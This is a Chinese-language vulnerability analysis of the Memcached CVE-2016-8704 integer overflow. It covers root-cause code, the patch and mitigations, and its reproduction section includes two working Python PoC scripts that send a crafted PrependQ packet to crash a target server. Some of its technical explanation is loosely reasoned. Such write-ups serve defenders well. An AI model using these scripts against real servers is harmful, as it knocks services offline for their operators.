一、漏洞简介

1.1 漏洞背景

2016 年 10 月,Cisco Talos 安全团队披露了 Memcached 中的多个整数溢出漏洞。CVE-2016-8704 位于 process_bin_append_prepend 函数中,该函数负责处理 Memcached 二进制协议的 Append 和 Prepend 操作。通过精心构造的请求,攻击者可以触发整数溢出,导致堆溢出,最终实现远程代码执行。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2016-8704
危害等级 CRITICAL / 9.8
漏洞类型 整数溢出漏洞
披露时间 2017-01-06
影响组件 Memcached 安全
属性 描述
CVE编号 CVE-2016-8704
危害等级 严重
CVSS评分 9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
漏洞类型 整数溢出导致堆溢出
CWE编号 CWE-190 (Integer Overflow or Wraparound)
影响组件 process_bin_append_prepend 函数

补充核验信息:公开时间:2017-01-06;NVD 评分:9.8(CRITICAL);CWE:CWE-190。

二、影响范围

2.1 受影响的版本

  • Memcached 1.4.31 及更早版本

2.2 不受影响的版本

  • Memcached 1.4.32 及更高版本

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Memcached 服务启用了二进制协议支持(默认启用)
  2. 攻击者能够直接连接 Memcached 服务
  3. 使用特定的 Append/Prepend 操作码:
  4. Append (opcode 0x0e)
  5. Prepend (opcode 0x0f)
  6. AppendQ (opcode 0x19)
  7. PrependQ (opcode 0x1a)

三、漏洞详情与原理解析

3.1 漏洞触发机制

漏洞发生在计算值长度(vlen)时的整数溢出:

// memcached.c - process_bin_append_prepend 函数
static void process_bin_append_prepend(conn *c) {
    char *key;
    int nkey;
    int vlen;    // [1] 有符号整数
    item *it;

    key = binary_get_key(c);
    nkey = c->binary_header.request.keylen;  // [2] keylen 是无符号的
    vlen = c->binary_header.request.bodylen - nkey;  // [3] 整数溢出点

    // ...

    it = item_alloc(key, nkey, 0, 0, vlen+2);  // [4] 使用溢出的 vlen
}

溢出原理: - bodylen 是 32 位无符号整数(来自网络) - nkey 是有符号整数 - 当 bodylen < nkey 时,vlen 变为负数 - 负数在内存分配时被解释为一个很小的正数

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码路径

// memcached.c - dispatch_bin_command
case PROTOCOL_BINARY_CMD_APPEND:
case PROTOCOL_BINARY_CMD_PREPEND:
    if (keylen > 0 && extlen == 0) {
        bin_read_key(c, bin_reading_set_header, 0);
    } else {
        protocol_error = 1;
    }
    break;
// 注意:这里没有对 bodylen 进行边界检查!

item_alloc 调用链

// items.c - do_item_alloc
item *do_item_alloc(char *key, const size_t nkey,
                     unsigned int flags, rel_time_t exptime, int nbytes) {
    // ...
    size_t ntotal = item_make_header(nkey + 1, flags, nbytes,
                                      suffix, &nsuffix);  // [1]

    it = slabs_alloc(ntotal, id, &total_bytes, 0);  // [2]

    // ...

    memcpy(ITEM_key(it), key, nkey);  // [3] 堆溢出点!
}

溢出过程: 1. [1]nbytes(来自溢出的 vlen)可能是负数 2. [2]ntotal 计算结果很小,分配了很小的缓冲区 3. [3]memcpy 使用原始的 nkey 长度拷贝数据,导致堆溢出

补丁对比

// 修复补丁
 static void process_bin_append_prepend(conn *c) {
     char *key;
     int nkey;
     int vlen;
     item *it;

     assert(c != NULL);

     key = binary_get_key(c);
     nkey = c->binary_header.request.keylen;
     vlen = c->binary_header.request.bodylen - nkey;

+    if (vlen < 0) {  // 添加边界检查
+        write_bin_error(c, PROTOCOL_BINARY_RESPONSE_EINVAL, NULL, 0);
+        return;
+    }
+
     if (settings.verbose > 1) {

四、漏洞复现(可选)

4.1 环境搭建

# 下载受影响版本
wget http://www.memcached.org/files/memcached-1.4.31.tar.gz
tar xzf memcached-1.4.31.tar.gz
cd memcached-1.4.31

# 编译
./configure
make

# 启动服务
./memcached -d -p 11211

# 验证版本
echo "version" | nc localhost 11211

4.2 PoC 演示与测试过程

Python PoC

#!/usr/bin/env python3
"""
CVE-2016-8704 PoC
Memcached process_bin_append_prepend Integer Overflow
"""
import struct
import socket
import sys

def build_malicious_packet():
    # Memcached 二进制协议头部
    MEMCACHED_REQUEST_MAGIC = b"\x80"
    OPCODE_PREPEND_Q = b"\x1a"  # PrependQ 操作码

    # 关键:key_len (0xfa) > body_len (0)
    key_len = struct.pack("!H", 0xfa)    # 250 字节 key
    extra_len = b"\x00"
    data_type = b"\x00"
    vbucket = b"\x00\x00"
    body_len = struct.pack("!I", 0)      # body 长度为 0
    opaque = struct.pack("!I", 0)
    CAS = struct.pack("!Q", 0)

    # 构造完整的数据包
    packet = (MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q +
              key_len + extra_len + data_type + vbucket +
              body_len + opaque + CAS)

    # 添加填充数据
    body = b"A" * 1024
    packet += body

    return packet

def exploit(target_ip, target_port=11211):
    print(f"[*] CVE-2016-8704 PoC")
    print(f"[*] Target: {target_ip}:{target_port}")

    # 构造恶意包
    packet = build_malicious_packet()
    print(f"[*] Packet size: {len(packet)} bytes")

    # 连接并发送
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((target_ip, target_port))
        sock.send(packet)

        response = sock.recv(1024)
        print(f"[*] Response received: {len(response)} bytes")

        sock.close()
        print("[*] Packet sent. Check server for crash/instability.")

    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_ip> [port]")
        sys.exit(1)

    port = int(sys.argv[2]) if len(sys.argv) > 2 else 11211
    exploit(sys.argv[1], port)

完整崩溃 PoC

#!/usr/bin/env python3
"""
CVE-2016-8704 Complete Crash PoC
Triggers SIGSEGV in assoc_find
"""
import struct
import socket
import sys

def create_prepend_packet():
    """创建触发整数溢出的 PrependQ 包"""
    magic = b"\x80"
    opcode = b"\x1a"  # PrependQ
    key_len = struct.pack("!H", 0xfa)
    extra_len = b"\x00"
    data_type = b"\x00"
    vbucket = b"\x00\x00"
    body_len = struct.pack("!I", 0)  # 触发溢出的关键
    opaque = struct.pack("!I", 0)
    cas = struct.pack("!Q", 0)
    body = b"A" * 1024

    return magic + opcode + key_len + extra_len + data_type + \
           vbucket + body_len + opaque + cas + body

def main():
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <server> <port>")
        sys.exit(1)

    server = sys.argv[1]
    port = int(sys.argv[2])

    # 步骤 1: 创建一个正常的项目
    print("[*] Step 1: Creating test key...")
    s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s1.connect((server, port))
    s1.send(b"set testkey 0 60 4\r\ntest\r\n")
    print(f"    Response: {s1.recv(1024)}")
    s1.close()

    # 步骤 2: 发送溢出包
    print("[*] Step 2: Sending overflow packet...")
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2.connect((server, port))
    s2.send(create_prepend_packet())
    try:
        print(f"    Response: {s2.recv(1024)}")
    except:
        print("    No response (server crashed?)")
    s2.close()

    # 步骤 3: 尝试读取触发崩溃
    print("[*] Step 3: Triggering crash by reading corrupted key...")
    try:
        s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s3.settimeout(5)
        s3.connect((server, port))
        s3.send(b"get testkey\r\n")
        s3.recv(1024)
        s3.close()
    except Exception as e:
        print(f"[*] Connection error: {e}")
        print("[+] Server likely crashed!")

if __name__ == "__main__":
    main()

使用 Valgrind 检测

# 在 valgrind 下运行以检测内存错误
valgrind --tool=memcheck ./memcached -p 11211 -u root

# 发送 PoC 后观察输出
# 预期看到 "Invalid write of size 4" 错误

五、修复建议与缓解措施

5.1 官方版本升级建议

立即升级到 Memcached 1.4.32 或更高版本

# 下载最新版本
wget http://www.memcached.org/files/memcached-1.4.32.tar.gz

# 编译安装
tar xzf memcached-1.4.32.tar.gz
cd memcached-1.4.32
./configure && make && make install

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案一:限制网络访问

# 仅允许受信任的主机访问
iptables -A INPUT -p tcp --dport 11211 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 11211 -j DROP

方案二:禁用二进制协议

# 注意:这会影响某些客户端功能
# Memcached 默认同时支持 ASCII 和二进制协议
# 无法单独禁用二进制协议,需要依赖网络隔离

方案三:应用补丁(如无法升级)

# 手动应用安全补丁到 1.4.31
# 修改 memcached.c 中的 process_bin_append_prepend 函数
# 在 vlen 计算后添加边界检查

六、参考信息 / 参考链接

6.1 官方安全通告

  • Cisco Talos TALOS-2016-0219: http://www.talosintelligence.com/reports/TALOS-2016-0219/
  • NVD CVE-2016-8704: https://nvd.nist.gov/vuln/detail/CVE-2016-8704
  • Red Hat RHSA-2016-2819: http://rhn.redhat.com/errata/RHSA-2016-2819.html

6.2 其他技术参考资料

  • Debian DSA-3704: http://www.debian.org/security/2016/dsa-3704
  • Gentoo GLSA-201701-12: https://security.gentoo.org/glsa/201701-12
  • Memcached Release Notes 1.4.32